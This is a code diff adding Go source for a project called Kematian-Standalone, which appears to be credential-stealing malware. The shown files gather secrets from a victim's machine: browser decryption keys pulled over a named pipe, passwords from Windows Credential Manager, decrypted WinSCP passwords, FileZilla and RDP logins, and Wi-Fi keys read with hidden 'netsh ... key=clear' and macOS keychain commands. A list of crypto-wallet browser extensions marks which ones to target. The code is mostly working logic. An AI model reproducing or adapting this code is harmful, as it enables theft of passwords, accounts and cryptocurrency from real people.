+	if ret != uintptr(windows.WAIT_OBJECT_0) {
+		return fmt.Errorf("pipe connect timeout")
+	}
+	return nil
+}
+
+func (s *PipeSession) pipeSend(data []byte) error {
+	s.mu.Lock()
+	defer s.mu.Unlock()
+
+	if s.closed {
+		return fmt.Errorf("pipe session closed")
+	}
+
+	length := uint32(len(data))
+	lengthBytes := []byte{
+		byte(length),
+		byte(length >> 8),
+		byte(length >> 16),
+		byte(length >> 24),
+	}
+
+	var written uint32
+	err := windows.WriteFile(s.hPipe, lengthBytes, &written, nil)
+	if err != nil || written != 4 {
+		return fmt.Errorf("write length: %w", err)
+	}
+
+	if length > 0 {
+		var totalWritten uint32
+		for totalWritten < length {
+			var n uint32
+			err = windows.WriteFile(s.hPipe, data[totalWritten:], &n, nil)
+			if err != nil || n == 0 {
+				return fmt.Errorf("write data: %w", err)
+			}
+			totalWritten += n
+		}
+	}
+
+	return nil
+}
+
+func (s *PipeSession) pipeRecv() (status byte, data []byte, err error) {
+	s.mu.Lock()
+	defer s.mu.Unlock()
+
+	if s.closed {
+		return 0, nil, fmt.Errorf("pipe session closed")
+	}
+
+	var lengthBuf [4]byte
+	var totalRead uint32
+	deadline := time.Now().Add(10 * time.Second)
+
+	for totalRead < 4 {
+		if time.Now().After(deadline) {
+			return 0, nil, fmt.Errorf("pipe recv timeout")
+		}
+
+		var avail uint32
+		r, _, _ := procPeekNamedPipe.Call(uintptr(s.hPipe), 0, 0, 0, uintptr(unsafe.Pointer(&avail)), 0)
+		if r == 0 {
+			return 0, nil, fmt.Errorf("PeekNamedPipe failed")
+		}
+		if avail < 4-totalRead {
+			time.Sleep(50 * time.Millisecond)
+			continue
+		}
+
+		var n uint32
+		err = windows.ReadFile(s.hPipe, lengthBuf[totalRead:4], &n, nil)
+		if err != nil || n == 0 {
+			return 0, nil, fmt.Errorf("read length: %w", err)
+		}
+		totalRead += n
+	}
+
+	totalLen := uint32(lengthBuf[0]) | uint32(lengthBuf[1])<<8 | uint32(lengthBuf[2])<<16 | uint32(lengthBuf[3])<<24
+	if totalLen < 1 || totalLen > 100*1024*1024 {
+		return 0, nil, fmt.Errorf("invalid message length: %d", totalLen)
+	}
+
+	buf := make([]byte, totalLen)
+	totalRead = 0
+	for totalRead < totalLen {
+		var n uint32
+		err = windows.ReadFile(s.hPipe, buf[totalRead:], &n, nil)
+		if err != nil || n == 0 {
+			return 0, nil, fmt.Errorf("read data: %w", err)
+		}
+		totalRead += n
+	}
+
+	status = buf[0]
+	data = buf[1:]
+	return status, data, nil
+}
+
+func (s *PipeSession) Close() {
+	s.mu.Lock()
+	defer s.mu.Unlock()
+
+	if s.closed {
+		return
+	}
+	s.closed = true
+
+	s.sendExitLocked()
+
+	time.Sleep(100 * time.Millisecond)
+
+	procDisconnectNamedPipe.Call(uintptr(s.hPipe))
+	windows.CloseHandle(s.hPipe)
+
+	if s.ownsProcess && s.hProcess != 0 {
+		if s.job != 0 {
+			windows.CloseHandle(s.job)
+			s.job = 0
+		}
+		windows.TerminateProcess(s.hProcess, 0)
+		windows.WaitForSingleObject(s.hProcess, 3000)
+		windows.CloseHandle(s.hProcess)
+	} else if s.hProcess != 0 {
+		windows.CloseHandle(s.hProcess)
+	}
+}
+
+func (s *PipeSession) watchExit(label string, timeoutMs uint32) {
+	h := s.hProcess
+	if h == 0 {
+		return
+	}
+	go func() {
+		ret, _, _ := procWaitForSingleObject.Call(uintptr(h), uintptr(timeoutMs))
+		if ret != uintptr(windows.WAIT_OBJECT_0) {
+			return
+		}
+		s.mu.Lock()
+		wasClosed := s.closed
+		s.mu.Unlock()
+		if wasClosed {
+			return
+		}
+		var code uint32
+		if err := windows.GetExitCodeProcess(h, &code); err != nil {
+			return
+		}
+		logf("process %d (%s) died before pipe connect (exit code 0x%08x)", s.pid, label, code)
+	}()
+}
+
+func (s *PipeSession) sendExitLocked() {
+	exitCmd := []byte("EXIT")
+	length := uint32(len(exitCmd))
+	lengthBytes := []byte{byte(length), byte(length >> 8), byte(length >> 16), byte(length >> 24)}
+	windows.WriteFile(s.hPipe, lengthBytes, nil, nil)
+	windows.WriteFile(s.hPipe, exitCmd, nil, nil)
+}
+
+func (s *PipeSession) GetV20Key(browserName string, encKeyBase64 string) ([]byte, error) {
+	cmd := fmt.Sprintf("KEY:%s:%s", browserName, encKeyBase64)
+	if err := s.pipeSend([]byte(cmd)); err != nil {
+		return nil, fmt.Errorf("send KEY command: %w", err)
+	}
+
+	status, data, err := s.pipeRecv()
+	if err != nil {
+		return nil, fmt.Errorf("recv KEY response: %w", err)
+	}
+
+	if status != 0 {
+		return nil, fmt.Errorf("decrypt failed: %s", string(data))
+	}
+
+	return data, nil
+}
+
+func (s *PipeSession) ReadFile(path string) ([]byte, error) {
+	cmd := fmt.Sprintf("READ:%s", path)
+	if err := s.pipeSend([]byte(cmd)); err != nil {
+		return nil, fmt.Errorf("send READ command: %w", err)
+	}
+
+	status, data, err := s.pipeRecv()
+	if err != nil {
+		return nil, fmt.Errorf("recv READ response: %w", err)
+	}
+
+	if status != 0 {
+		return nil, fmt.Errorf("read failed: %s", string(data))
+	}
+
+	return data, nil
+}
+
+var ActivePipeSession *PipeSession

Kematian-Standalone/native/recovery/platform/pipe_stub.go

@@ -0,0 +1,21 @@
+//go:build !windows
+
+package platform
+
+import (
+	"errors"
+)
+
+type PipeSession struct{}
+
+var ActivePipeSession *PipeSession
+
+func (s *PipeSession) Close() {}
+
+func (s *PipeSession) GetV20Key(browserName string, encKeyBase64 string) ([]byte, error) {
+	return nil, errors.New("not supported")
+}
+
+func (s *PipeSession) ReadFile(path string) ([]byte, error) {
+	return nil, errors.New("not supported")
+}

Kematian-Standalone/native/recovery/recovery.go

@@ -0,0 +1,60 @@
+package recovery
+
+import (
+	"recovery/recovery/fingerprint"
+	"recovery/recovery/scanner"
+	"recovery/recovery/types"
+	"recovery/recovery/ziputil"
+)
+
+type CollectOptions = types.CollectOptions
+type CollectionResult = types.CollectionResult
+type Payload = types.Payload
+type BrowserConfig = types.BrowserConfig
+type ProfileInfo = types.ProfileInfo
+type ResolvedKeys = types.ResolvedKeys
+type PasswordResult = types.PasswordResult
+type CookieResult = types.CookieResult
+type AutofillResult = types.AutofillResult
+type HistoryResult = types.HistoryResult
+type BookmarkResult = types.BookmarkResult
+type CreditCardResult = types.CreditCardResult
+type DiscordTokenResult = types.DiscordTokenResult
+type FileResult = types.FileResult
+type ExtensionResult = types.ExtensionResult
+type WalletResult = types.WalletResult
+type TelegramResult = types.TelegramResult
+type KeyResult = types.KeyResult
+type SeedResult = types.SeedResult
+type AppCredentialResult = types.AppCredentialResult
+type GamingResult = types.GamingResult
+type SteamResult = types.SteamResult
+type SteamTokenResult = types.SteamTokenResult
+type GameInfo = types.GameInfo
+type BattleNetResult = types.BattleNetResult
+type EpicResult = types.EpicResult
+type RiotResult = types.RiotResult
+type UplayResult = types.UplayResult
+type VPNResult = types.VPNResult
+type NordVPNResult = types.NordVPNResult
+type WireGuardResult = types.WireGuardResult
+type OpenVPNResult = types.OpenVPNResult
+type MullvadResult = types.MullvadResult
+type FingerprintResult = fingerprint.Result
+type FingerprintJSResult = fingerprint.JSResult
+
+func ScanExtensions() []ExtensionResult          { return scanner.ScanExtensions() }
+func ScanFiles() []FileResult                    { return scanner.ScanFiles() }
+func ScanWallets() []WalletResult                { return scanner.ScanWallets() }
+func ScanTelegram() []TelegramResult             { return scanner.ScanTelegram() }
+func ScanKeys() []KeyResult                      { return scanner.ScanKeys() }
+func ScanApps() []AppCredentialResult            { return scanner.ScanApps() }
+func FetchFile(path string) ([]byte, error)      { return scanner.FetchFile(path) }
+func ZipTelegram(path string) ([]byte, error)    { return scanner.ZipTelegram(path) }
+func ZipDirectory(dir string) ([]byte, error)    { return ziputil.ZipDirectory(dir) }
+func CollectFingerprint() *FingerprintResult     { return fingerprint.Collect() }
+func CollectJSFingerprint() *FingerprintJSResult { return fingerprint.CollectJS() }
+
+func ScanSeeds(files []FileResult, passwords []PasswordResult, autofill []AutofillResult) []SeedResult {
+	return scanner.ScanSeeds(files, passwords, autofill)
+}

Kematian-Standalone/native/recovery/scanner/apps_stub.go

@@ -0,0 +1,137 @@
+//go:build !windows
+
+package scanner
+
+import (
+	"encoding/xml"
+	"os"
+	"os/exec"
+	"path/filepath"
+	"runtime"
+	"strings"
+
+	"recovery/recovery/types"
+)
+
+func ScanApps() []types.AppCredentialResult {
+	var results []types.AppCredentialResult
+	results = append(results, scanFileZillaUnix()...)
+	if runtime.GOOS == "darwin" {
+		results = append(results, scanWiFiDarwin()...)
+	}
+	return results
+}
+
+type fzServerUnix struct {
+	XMLName  xml.Name `xml:"Server"`
+	Host     string   `xml:"Host"`
+	Port     int      `xml:"Port"`
+	Protocol int      `xml:"Protocol"`
+	User     string   `xml:"User"`
+	Pass     string   `xml:"Pass"`
+}
+
+type fzSiteManagerUnix struct {
+	XMLName xml.Name       `xml:"FileZilla3"`
+	Servers []fzServerUnix `xml:"Servers>Server"`
+}
+
+type fzRecentServersUnix struct {
+	XMLName xml.Name       `xml:"FileZilla3"`
+	Servers []fzServerUnix `xml:"RecentServers>Server"`
+}
+
+func scanFileZillaUnix() []types.AppCredentialResult {
+	var results []types.AppCredentialResult
+	home, _ := os.UserHomeDir()
+	if home == "" {
+		return nil
+	}
+
+	fzDir := filepath.Join(home, ".config", "filezilla")
+	if runtime.GOOS == "darwin" {
+		fzDir = filepath.Join(home, ".config", "filezilla")
+	}
+
+	for _, file := range []string{"sitemanager.xml", "recentservers.xml"} {
+		path := filepath.Join(fzDir, file)
+		data, err := os.ReadFile(path)
+		if err != nil {
+			continue
+		}
+
+		var servers []fzServerUnix
+		if file == "sitemanager.xml" {
+			var sm fzSiteManagerUnix
+			if xml.Unmarshal(data, &sm) == nil {
+				servers = sm.Servers
+			}
+		} else {
+			var rs fzRecentServersUnix
+			if xml.Unmarshal(data, &rs) == nil {
+				servers = rs.Servers
+			}
+		}
+
+		for _, s := range servers {
+			if s.Host == "" {
+				continue
+			}
+			port := s.Port
+			if port == 0 {
+				port = 21
+			}
+			protocol := "ftp"
+			switch s.Protocol {
+			case 1:
+				protocol = "sftp"
+			case 3, 4:
+				protocol = "ftps"
+			}
+			results = append(results, types.AppCredentialResult{
+				Application: "FileZilla",
+				Host:        s.Host,
+				Port:        port,
+				Username:    s.User,
+				Password:    s.Pass,
+				Protocol:    protocol,
+			})
+		}
+	}
+
+	return results
+}
+
+func scanWiFiDarwin() []types.AppCredentialResult {
+	var results []types.AppCredentialResult
+
+	out, err := exec.Command("/usr/sbin/networksetup", "-listpreferredwirelessnetworks", "en0").Output()
+	if err != nil {
+		return nil
+	}
+
+	var networks []string
+	for _, line := range strings.Split(string(out), "\n") {
+		name := strings.TrimSpace(line)
+		if name == "" || strings.HasPrefix(name, "Preferred networks") {
+			continue
+		}
+		networks = append(networks, name)
+	}
+
+	for _, name := range networks {
+		pw, err := exec.Command("security", "find-generic-password", "-wa", name, "-D", "AirPort network password").Output()
+		password := ""
+		if err == nil {
+			password = strings.TrimSpace(string(pw))
+		}
+		results = append(results, types.AppCredentialResult{
+			Application: "WiFi",
+			Host:        name,
+			Password:    password,
+			Protocol:    "wifi",
+		})
+	}
+
+	return results
+}

Kematian-Standalone/native/recovery/scanner/apps_windows.go

@@ -0,0 +1,614 @@
+//go:build windows
+
+package scanner
+
+import (
+	"encoding/xml"
+	"fmt"
+	"os"
+	"os/exec"
+	"path/filepath"
+	"strconv"
+	"strings"
+	"syscall"
+	"unsafe"
+
+	"golang.org/x/sys/windows"
+	"golang.org/x/sys/windows/registry"
+
+	"recovery/recovery/types"
+)
+
+var (
+	advapi32           = syscall.NewLazyDLL("advapi32.dll")
+	procCredEnumerateW = advapi32.NewProc("CredEnumerateW")
+	procCredFree       = advapi32.NewProc("CredFree")
+)
+
+const (
+	credTypeGeneric          = 1
+	credTypeDomainPassword   = 2
+	credTypeDomainCertificate = 3
+)
+
+type winCredential struct {
+	Flags              uint32
+	Type               uint32
+	TargetName         *uint16
+	Comment            *uint16
+	LastWritten        syscall.Filetime
+	CredentialBlobSize uint32
+	CredentialBlob     *byte
+	Persist            uint32
+	AttributeCount     uint32
+	Attributes         uintptr
+	TargetAlias        *uint16
+	UserName           *uint16
+}
+
+func ScanApps() []types.AppCredentialResult {
+	var results []types.AppCredentialResult
+	results = append(results, scanRDP()...)
+	results = append(results, scanWinSCP()...)
+	results = append(results, scanPuTTY()...)
+	results = append(results, scanFileZilla()...)
+	results = append(results, scanCredentialManager()...)
+	results = append(results, scanWiFi()...)
+	return results
+}
+
+// ── RDP ────────────────────────────────────────────────────────────────
+
+func scanRDP() []types.AppCredentialResult {
+	var results []types.AppCredentialResult
+
+	// Registry: saved connection history with usernames
+	k, err := registry.OpenKey(registry.CURRENT_USER, `Software\Microsoft\Terminal Server Client\Servers`, registry.ENUMERATE_SUB_KEYS|registry.READ)
+	if err == nil {
+		defer k.Close()
+		servers, _ := k.ReadSubKeyNames(-1)
+		for _, server := range servers {
+			sk, err := registry.OpenKey(registry.CURRENT_USER, `Software\Microsoft\Terminal Server Client\Servers\`+server, registry.READ)
+			if err != nil {
+				continue
+			}
+			username, _, _ := sk.GetStringValue("UsernameHint")
+			sk.Close()
+
+			r := types.AppCredentialResult{
+				Application: "RDP",
+				Host:        server,
+				Port:        3389,
+				Username:    username,
+				Protocol:    "rdp",
+			}
+
+			// Try to get the password from Credential Manager
+			pw := credManagerLookup("TERMSRV/" + server)
+			if pw != "" {
+				r.Password = pw
+			}
+			results = append(results, r)
+		}
+	}
+
+	// Also scan Credential Manager for TERMSRV/* entries not in the registry
+	creds := enumCredentials()
+	seen := make(map[string]bool)
+	for _, r := range results {
+		seen[strings.ToLower(r.Host)] = true
+	}
+	for _, c := range creds {
+		target := strings.ToLower(c.target)
+		if !strings.HasPrefix(target, "termsrv/") {
+			continue
+		}
+		host := c.target[len("TERMSRV/"):]
+		if seen[strings.ToLower(host)] {
+			continue
+		}
+		results = append(results, types.AppCredentialResult{
+			Application: "RDP",
+			Host:        host,
+			Port:        3389,
+			Username:    c.username,
+			Password:    c.password,
+			Protocol:    "rdp",
+		})
+	}
+
+	// Scan for .rdp files
+	results = append(results, scanRDPFiles()...)
+
+	return results
+}
+
+func scanRDPFiles() []types.AppCredentialResult {
+	var results []types.AppCredentialResult
+	home, _ := os.UserHomeDir()
+	if home == "" {
+		return nil
+	}
+
+	dirs := []string{
+		filepath.Join(home, "Desktop"),
+		filepath.Join(home, "Documents"),
+		filepath.Join(home, "Downloads"),
+	}
+
+	for _, dir := range dirs {
+		entries, err := os.ReadDir(dir)
+		if err != nil {
+			continue
+		}
+		for _, e := range entries {
+			if e.IsDir() || !strings.HasSuffix(strings.ToLower(e.Name()), ".rdp") {
+				continue
+			}
+			path := filepath.Join(dir, e.Name())
+			data, err := os.ReadFile(path)
+			if err != nil || len(data) == 0 {
+				continue
+			}
+			r := parseRDPFile(string(data))
+			if r.Host != "" {
+				r.Extra = path
+				results = append(results, r)
+			}
+		}
+	}
+
+	return results
+}
+
+func parseRDPFile(content string) types.AppCredentialResult {
+	r := types.AppCredentialResult{
+		Application: "RDP",
+		Protocol:    "rdp",
+		Port:        3389,
+	}
+	for _, line := range strings.Split(content, "\n") {
+		line = strings.TrimSpace(line)
+		parts := strings.SplitN(line, ":", 3)
+		if len(parts) < 3 {
+			continue
+		}
+		key := strings.ToLower(strings.TrimSpace(parts[0]))
+		val := strings.TrimSpace(parts[2])
+		switch key {
+		case "full address":
+			if idx := strings.LastIndex(val, ":"); idx > 0 {
+				if p, err := strconv.Atoi(val[idx+1:]); err == nil {
+					r.Host = val[:idx]
+					r.Port = p
+					continue
+				}
+			}
+			r.Host = val
+		case "username":
+			r.Username = val
+		case "server port":
+			if p, err := strconv.Atoi(val); err == nil {
+				r.Port = p
+			}
+		}
+	}
+	return r
+}
+
+// ── WinSCP ─────────────────────────────────────────────────────────────
+
+func scanWinSCP() []types.AppCredentialResult {
+	var results []types.AppCredentialResult
+
+	k, err := registry.OpenKey(registry.CURRENT_USER, `Software\Martin Prikryl\WinSCP 2\Sessions`, registry.ENUMERATE_SUB_KEYS|registry.READ)
+	if err != nil {
+		return nil
+	}
+	defer k.Close()
+
+	sessions, _ := k.ReadSubKeyNames(-1)
+	for _, sess := range sessions {
+		if sess == "Default%20Settings" {
+			continue
+		}
+		sk, err := registry.OpenKey(registry.CURRENT_USER, `Software\Martin Prikryl\WinSCP 2\Sessions\`+sess, registry.READ)
+		if err != nil {
+			continue
+		}
+
+		hostname, _, _ := sk.GetStringValue("HostName")
+		username, _, _ := sk.GetStringValue("UserName")
+		portNum, _, _ := sk.GetIntegerValue("PortNumber")
+		encPassword, _, _ := sk.GetStringValue("Password")
+		fsProtocol, _, _ := sk.GetIntegerValue("FSProtocol")
+		sk.Close()
+
+		if hostname == "" {
+			continue
+		}
+
+		port := int(portNum)
+		if port == 0 {
+			port = 22
+		}
+
+		protocol := "sftp"
+		switch fsProtocol {
+		case 0:
+			protocol = "sftp"
+		case 5:
+			protocol = "ftp"
+		case 1:
+			protocol = "scp"
+		}
+
+		password := ""
+		if encPassword != "" {
+			password = decryptWinSCPPassword(encPassword, hostname, username)
+		}
+
+		results = append(results, types.AppCredentialResult{
+			Application: "WinSCP",
+			Host:        hostname,
+			Port:        port,
+			Username:    username,
+			Password:    password,
+			Protocol:    protocol,
+		})
+	}
+
+	return results
+}
+
+func decryptWinSCPPassword(hex, hostname, username string) string {
+	key := username + hostname
+
+	decNextChar := func(s string, idx int) (byte, int) {
+		if idx+2 > len(s) {
+			return 0, idx + 2
+		}
+		a, err1 := strconv.ParseUint(string(s[idx]), 16, 8)
+		b, err2 := strconv.ParseUint(string(s[idx+1]), 16, 8)
+		if err1 != nil || err2 != nil {
+			return 0, idx + 2
+		}
+		return byte(0xFF ^ ((a<<4 | b) ^ 0xA3)), idx + 2
+	}
+
+	idx := 0
+	flag, idx := decNextChar(hex, idx)
+
+	if flag == 0xFF {
+		return ""
+	}
+
+	_, idx = decNextChar(hex, idx) // skip unused byte
+
+	length, idx := decNextChar(hex, idx)
+
+	delLen, idx := decNextChar(hex, idx)
+	for i := 0; i < int(delLen); i++ {
+		_, idx = decNextChar(hex, idx)
+	}
+
+	raw := make([]byte, 0, int(length))
+	for i := 0; i < int(length); i++ {
+		c, newIdx := decNextChar(hex, idx)
+		idx = newIdx
+		raw = append(raw, c)
+	}
+
+	if len(key) > 0 {
+		decrypted := make([]byte, len(raw))
+		for i, c := range raw {
+			decrypted[i] = c ^ key[i%len(key)]
+		}
+		return string(decrypted)
+	}
+
+	return string(raw)
+}
+
+// ── PuTTY ──────────────────────────────────────────────────────────────
+
+func scanPuTTY() []types.AppCredentialResult {
+	var results []types.AppCredentialResult
+
+	k, err := registry.OpenKey(registry.CURRENT_USER, `Software\SimonTatham\PuTTY\Sessions`, registry.ENUMERATE_SUB_KEYS|registry.READ)
+	if err != nil {
+		return nil
+	}
+	defer k.Close()
+
+	sessions, _ := k.ReadSubKeyNames(-1)
+	for _, sess := range sessions {
+		if sess == "Default%20Settings" {
+			continue
+		}
+		sk, err := registry.OpenKey(registry.CURRENT_USER, `Software\SimonTatham\PuTTY\Sessions\`+sess, registry.READ)
+		if err != nil {
+			continue
+		}
+
+		hostname, _, _ := sk.GetStringValue("HostName")
+		username, _, _ := sk.GetStringValue("UserName")
+		portNum, _, _ := sk.GetIntegerValue("PortNumber")
+		protocol, _, _ := sk.GetStringValue("Protocol")
+		keyFile, _, _ := sk.GetStringValue("PublicKeyFile")
+		proxyHost, _, _ := sk.GetStringValue("ProxyHost")
+		sk.Close()
+
+		if hostname == "" {
+			continue
+		}
+
+		port := int(portNum)
+		if port == 0 {
+			port = 22
+		}
+		if protocol == "" {
+			protocol = "ssh"
+		}
+
+		extra := ""
+		if keyFile != "" || proxyHost != "" {
+			parts := []string{}
+			if keyFile != "" {
+				parts = append(parts, "key:"+keyFile)
+			}
+			if proxyHost != "" {
+				parts = append(parts, "proxy:"+proxyHost)
+			}
+			extra = strings.Join(parts, "; ")
+		}
+
+		// URL-decode session name for display purposes
+		decodedName := strings.ReplaceAll(sess, "%20", " ")
+		_ = decodedName
+
+		results = append(results, types.AppCredentialResult{
+			Application: "PuTTY",
+			Host:        hostname,
+			Port:        port,
+			Username:    username,
+			Protocol:    protocol,
+			Extra:       extra,
+		})
+	}
+
+	return results
+}
+
+// ── FileZilla ──────────────────────────────────────────────────────────
+
+type fzServer struct {
+	XMLName  xml.Name `xml:"Server"`
+	Host     string   `xml:"Host"`
+	Port     int      `xml:"Port"`
+	Protocol int      `xml:"Protocol"`
+	User     string   `xml:"User"`
+	Pass     string   `xml:"Pass"`
+}
+
+type fzSiteManager struct {
+	XMLName xml.Name   `xml:"FileZilla3"`
+	Servers []fzServer `xml:"Servers>Server"`
+}
+
+type fzRecentServers struct {
+	XMLName xml.Name   `xml:"FileZilla3"`
+	Servers []fzServer `xml:"RecentServers>Server"`
+}
+
+func scanFileZilla() []types.AppCredentialResult {
+	var results []types.AppCredentialResult
+
+	appdata := os.Getenv("APPDATA")
+	if appdata == "" {
+		return nil
+	}
+	fzDir := filepath.Join(appdata, "FileZilla")
+
+	for _, file := range []string{"sitemanager.xml", "recentservers.xml"} {
+		path := filepath.Join(fzDir, file)
+		data, err := os.ReadFile(path)
+		if err != nil {
+			continue
+		}
+
+		var servers []fzServer
+		if file == "sitemanager.xml" {
+			var sm fzSiteManager
+			if xml.Unmarshal(data, &sm) == nil {
+				servers = sm.Servers
+			}
+		} else {
+			var rs fzRecentServers
+			if xml.Unmarshal(data, &rs) == nil {
+				servers = rs.Servers
+			}
+		}
+
+		for _, s := range servers {
+			if s.Host == "" {
+				continue
+			}
+			port := s.Port
+			if port == 0 {
+				port = 21
+			}
+			protocol := "ftp"
+			switch s.Protocol {
+			case 1:
+				protocol = "sftp"
+			case 3, 4:
+				protocol = "ftps"
+			}
+
+			results = append(results, types.AppCredentialResult{
+				Application: "FileZilla",
+				Host:        s.Host,
+				Port:        port,
+				Username:    s.User,
+				Password:    s.Pass,
+				Protocol:    protocol,
+			})
+		}
+	}
+
+	return results
+}
+
+// ── Windows Credential Manager ─────────────────────────────────────────
+
+type credEntry struct {
+	target   string
+	username string
+	password string
+	credType uint32
+}
+
+func enumCredentials() []credEntry {
+	var count uint32
+	var credsPtr uintptr
+
+	ret, _, _ := procCredEnumerateW.Call(
+		0,
+		0,
+		uintptr(unsafe.Pointer(&count)),
+		uintptr(unsafe.Pointer(&credsPtr)),
+	)
+	if ret == 0 || count == 0 {
+		return nil
+	}
+	defer procCredFree.Call(credsPtr)
+
+	var results []credEntry
+	for i := uint32(0); i < count; i++ {
+		entryPtr := *(*uintptr)(unsafe.Pointer(credsPtr + uintptr(i)*unsafe.Sizeof(uintptr(0))))
+		c := (*winCredential)(unsafe.Pointer(entryPtr))
+		target := windows.UTF16PtrToString(c.TargetName)
+		username := ""
+		if c.UserName != nil {
+			username = windows.UTF16PtrToString(c.UserName)
+		}
+		password := ""
+		if c.CredentialBlobSize > 0 && c.CredentialBlob != nil {
+			blob := unsafe.Slice(c.CredentialBlob, c.CredentialBlobSize)
+			password = string(blob)
+		}
+		results = append(results, credEntry{
+			target:   target,
+			username: username,
+			password: password,
+			credType: c.Type,
+		})
+	}
+	return results
+}
+
+func credManagerLookup(target string) string {
+	target = strings.ToLower(target)
+	for _, c := range enumCredentials() {
+		if strings.ToLower(c.target) == target {
+			return c.password
+		}
+	}
+	return ""
+}
+
+func scanCredentialManager() []types.AppCredentialResult {
+	var results []types.AppCredentialResult
+
+	for _, c := range enumCredentials() {
+		target := strings.ToLower(c.target)
+		// Skip TERMSRV entries (already handled by RDP scanner)
+		if strings.HasPrefix(target, "termsrv/") {
+			continue
+		}
+		// Skip entries with no useful data
+		if c.username == "" && c.password == "" {
+			continue
+		}
+
+		typeName := "generic"
+		switch c.credType {
+		case credTypeDomainPassword:
+			typeName = "domain"
+		case credTypeDomainCertificate:
+			typeName = "certificate"
+		}
+
+		results = append(results, types.AppCredentialResult{
+			Application: "CredManager",
+			Host:        c.target,
+			Username:    c.username,
+			Password:    c.password,
+			Protocol:    typeName,
+		})
+	}
+
+	return results
+}
+
+// ── WiFi ───────────────────────────────────────────────────────────────
+
+func scanWiFi() []types.AppCredentialResult {
+	var results []types.AppCredentialResult
+
+	cmd := exec.Command("netsh", "wlan", "show", "profiles")
+	cmd.SysProcAttr = &syscall.SysProcAttr{HideWindow: true, CreationFlags: windows.CREATE_NO_WINDOW}
+	out, err := cmd.Output()
+	if err != nil {
+		return nil
+	}
+
+	var profiles []string
+	for _, line := range strings.Split(string(out), "\n") {
+		line = strings.TrimSpace(line)
+		if idx := strings.Index(line, ": "); idx >= 0 {
+			lower := strings.ToLower(line[:idx])
+			if strings.Contains(lower, "all user profile") || strings.Contains(lower, "profil") {
+				name := strings.TrimSpace(line[idx+2:])
+				if name != "" {
+					profiles = append(profiles, name)
+				}
+			}
+		}
+	}
+
+	for _, name := range profiles {
+		cmd := exec.Command("netsh", "wlan", "show", "profile", fmt.Sprintf("name=%s", name), "key=clear")
+		cmd.SysProcAttr = &syscall.SysProcAttr{HideWindow: true, CreationFlags: windows.CREATE_NO_WINDOW}
+		out, err := cmd.Output()
+		if err != nil {
+			continue
+		}
+
+		password := ""
+		auth := ""
+		for _, line := range strings.Split(string(out), "\n") {
+			line = strings.TrimSpace(line)
+			if idx := strings.Index(line, ": "); idx >= 0 {
+				lower := strings.ToLower(line[:idx])
+				val := strings.TrimSpace(line[idx+2:])
+				if strings.Contains(lower, "key content") || strings.Contains(lower, "contenu") {
+					password = val
+				} else if strings.Contains(lower, "authentication") || strings.Contains(lower, "authentification") {
+					auth = val
+				}
+			}
+		}
+
+		results = append(results, types.AppCredentialResult{
+			Application: "WiFi",
+			Host:        name,
+			Username:    auth,
+			Password:    password,
+			Protocol:    "wifi",
+		})
+	}
+
+	return results
+}

Kematian-Standalone/native/recovery/scanner/extensions.go

@@ -0,0 +1,147 @@
+package scanner
+
+import (
+	"encoding/json"
+	"os"
+	"path/filepath"
+	"strings"
+
+	"recovery/recovery/browser"
+	"recovery/recovery/types"
+)
+
+var knownWalletExtensions = map[string]string{
+	"bhghoamapcdpbohphigoooaddinpkbai": "Authenticator",
+	"fhbohimaelbohpjbbldcngcnapndodjp": "Binance",
+	"fihkakfobkmkjojpchpfgcmhfjnmnfpi": "Bitapp",
+	"aodkkagnadcbobfpggfnjeongemjbjca": "BoltX",
+	"aeachknmefphepccionboohckonoeemg": "Coin98",
+	"hnfanknocfeofbddgcijnmhnfnkdnaad": "Coinbase",
+	"agoakfejjabomempkjlepdflaleeobhb": "Core",
+	"pnlfjmlcjdjgkddecgincndfgegkecke": "Crocobit",
+	"blnieiiffboillknjnepogjhkgnoapac": "Equal",
+	"cgeeodpfagjceefieflmdfphplkenlfk": "Ever",
+	"aholpfdialjgjfhomihkjbmgjidlcdno": "ExodusWeb3",
+	"ebfidpplhabeedpnhjnobghokpiioolj": "Fewcha",
+	"cjmkndjhnagcfbpiemnkdpomccnjblmj": "Finnie",
+	"hpglfhgfnhbgpjdenjgmdgoeiappafln": "Guarda",
+	"nanjmdknhkinifnkgdcggcfnhdaammmj": "Guild",
+	"fnnegphlobjdpkhecapkijjdkgcjhkib": "Harmony",
+	"flpiciilemghbmfalicajoolhkkenfel": "Iconex",
+	"cjelfplplebdjjenllpjcblmjkfcffne": "Jaxx Liberty",
+	"jblndlipeogpafnldhgmapagcccfchpi": "Kaikas",
+	"pdadjkfkgcafgbceimcpbkalnfnepbnk": "KardiaChain",
+	"dmkamcknogkgcdfhhbddcghachkejeap": "Keplr",
+	"kpfopkelmapcoipemfendmdcghnegimn": "Liquality",
+	"nlbmnnijcnlegkjjpcfjclmcfggfefdm": "MEWCX",
+	"dngmlblcodfobpdpecaadgfbcggfjfnm": "MaiarDEFI",
+	"efbglgofoippbgcjepnhiblaibcnclgk": "Martian",
+	"afbcbjpbpfadlkmhmclhkeeodmamcflc": "Math",
+	"nkbihfbeogaeaoehlefnkodbefgpgknn": "Metamask",
+	"ejbalbakoplchlghecdalmeeeajnimhm": "Metamask",
+	"fcckkdbjnoikooededlapcalpionmalo": "Mobox",
+	"lpfcbjknijpeeillifnkikgncikgfhdo": "Nami",
+	"jbdaocneiiinmjbjlgalhcelgbejmnid": "Nifty",
+	"fhilaheimglignddkjgofkcbgekhenbh": "Oxygen",
+	"mgffkfbidihjpoaomajlbgchddlicgpn": "PaliWallet",
+	"ejjladinnckdgjemekebdpeokbikhfci": "Petra",
+	"bfnaelmomeimhlpmgjnjophhpkkoljpa": "Phantom",
+	"phkbamefinggmakgklpkljjmgibohnba": "Pontem",
+	"fnjhmkhhmkbjkkabndcnnogagogbneec": "Ronin",
+	"lgmpcpglpngdoalbgeoldeajfclnhafa": "Safepal",
+	"nkddgncdjgjfcddamfgcmfnlhccnimig": "Saturn",
+	"pocmplpaccanhmnllbbkpgfliimjljgo": "Slope",
+	"bhhhlbepdkbapadjdnnojkbgioiodbic": "Solflare",
+	"fhmfendgdocmcbmfikdcogofphimnkno": "Sollet",
+	"mfhbebgoclkghebffdldpobeajmbecfk": "Starcoin",
+	"cmndjbecilbocjfkibfbifhngkdmjgog": "Swash",
+	"ookjlbkiijinhpmnjffcofjonbfbgaoc": "TempleTezos",
+	"aiifbnbfobpmeekipheeijimdpnlpgpp": "TerraStation",
+	"mfgccjchihfkkindfppnaooecgfneiii": "Tokenpocket",
+	"nphplpgoakhhjchkkhmiggakijnkhfnd": "Ton",
+	"ibnejdfjmmkpcnlpebklmnkoeoihofec": "Tron",
+	"egjidjbpglichdcondbcbdnbeeppgdph": "Trust Wallet",
